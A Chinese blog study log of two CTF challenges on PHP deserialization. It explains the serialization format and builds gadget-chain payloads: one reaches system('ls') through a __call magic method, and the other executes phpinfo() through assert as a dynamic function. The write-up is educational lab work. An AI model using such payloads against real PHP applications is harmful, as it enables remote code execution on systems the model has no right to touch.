• 4.25日学习记录


    [HZNUCTF 2023 preliminary]ppppop

    对于php反序列化,在之前的学习中有过了解,但是对于序列化字符串的格式不是很了解,刚好接触这题,可以了解一下

    序列化字符串的格式:
    布尔型(bool)b:value
    整数型(int)i:value
    字符串型(str)s:length:"value"
    数组型(array)a:length:{...}
    对象型(object)
    O:length:class_name:properties_number{...}
    NULL型
    序列化字符串中各部分的含义:

    1. O:4:"User":1:{s:7:"isAdmin";b:0;}
    2. //“O”代表序列化对象,说明我们序列化的部分是对象,如果序列化的是数组的话就是A
    3. //4”代表类的名字占4个字符
    4. //“User”代表类名
    5. //1”代表具有一个属性(这个位置应该不陌生,在对wakeup魔术方法绕过时,就可以通过修改属性数量来绕过)
    6. //“s”代表字符串
    7. //7”代表属性名长度
    8. //“isAdmin”属性名
    9. //“b”代表布尔型数据
    10. //0”代表布尔值

     明确了各部分的含义之后,在学习之后的字符逃逸时就会好理解一些

    例题

    打开环境一片空白

     正常的步骤,源代码,dirsearch,抓包,通过这三种方法来获取信息是比较方便有效的

    cookie中有个user,不寻常,通过base64解密查看一下(就是刚刚分析的那个字符串)

    页面是空的,可能是因为user中的布尔值是空的,改成1试一试

     出现了熟悉的反序列化,但是也有陌生的东西,只用二次翻转就可以了

    strrev():

    php函数,有反转字符串的功能

    1. echo strrev("Hello World!");
    2. ?>

     分析代码,应该是想让我们通过class B 来进行命令执行,那么怎么触发call方法,A里面也没有不可访问的方法,但是可以注意到A中出现了一个实例化的过程,并且对三个属性都进行了调用,func和args就是B中执行的属性,所以是不是可以在A中实例化B来触发魔术方法,进行命令执行

    构造payload

    1. class A {
    2. public $className="B";
    3. public $funcName="system";
    4. public $args="ls";
    5. public function __destruct() {
    6. $class = new $this->className;
    7. $funcName = $this->funcName;
    8. $class->$funcName($this->args);
    9. }
    10. }
    11. class B {
    12. public function __call($func, $arg) {
    13. $func($arg[0]);
    14. }
    15. }
    16. $a=new A;
    17. echo base64_encode(strrev(serialize($a)));
    18. ?>

     目录下没有看见有效信息,看看环境变量env

     

     [NPUCTF2020]ReadlezPHP

    php动态函数:

    所谓动态函数,就是函数的名字用变量表示的函数。

    1. function wel(){
    2. echo 'welcome';
    3. }
    4. $result = "wel";
    5. $result();
    6. //调用动态函数的方法:
    7. 定义一个变量名;
    8. 把函数名赋给变量名;
    9. 使用变量名代替函数名动态调用函数

     打开题目,查看源码

    进入到source中,拿到一串源码,典型的反序列化

    1. #error_reporting(0);
    2. class HelloPhp
    3. {
    4. public $a;
    5. public $b;
    6. public function __construct(){
    7. $this->a = "Y-m-d h:i:s";
    8. $this->b = "date";
    9. }
    10. public function __destruct(){
    11. $a = $this->a;
    12. $b = $this->b;
    13. echo $b($a);
    14. }
    15. }
    16. $c = new HelloPhp;
    17. if(isset($_GET['source']))
    18. {
    19. highlight_file(__FILE__);
    20. die(0);
    21. }
    22. @$ppp = unserialize($_GET["data"]);
    23. 2024-04-25 01:45:07

    这里涉及到使用动态函数,通过变量去调用,审查代码可以知道形式为b(a),那么a应该就是一个被执行的命令,b就是让这个字符串被当做命令执行,应该第一反应是eval,但是这里我们使用的是assert;

    assert被认定为可变函数

    1. $a = 'assert';
    2. $a('phpinfo()');
    3. ?>
    4. # 这就是可变函数

     可变函数就是指通过变量来调用函数;assert会把字符串参数执行,这个功能和eval类似,但是要求没有eval那么严格

    构造payload

    1. class HelloPhp
    2. {
    3. public $a;
    4. public $b;
    5. }
    6. $c = new HelloPhp();
    7. $c->a = 'phpinfo()';
    8. $c->b = 'assert';
    9. echo serialize($c);

    在phpinfo中

  • 相关阅读:
    Python—3.2、函数高级篇
    学生静态HTML个人博客主页【Web大学生网页作业成品】HTML+CSS+JavaScript
    INI 文件 - 文件格式规范
    List集合中的相邻元素是否满足升序排列
    maui 开发AMD CPU踩的坑。
    Java 数据结构与算法 堆
    Kubernetes的整体架构
    力扣爆刷第126天之动态规划五连刷(斐波那契、爬楼梯、不同路径)
    Flink内部数据交换源码分析(一)
    详解:到底什么是GPS北斗授时服务器?
  • 原文地址:https://blog.csdn.net/weixin_74020633/article/details/138198478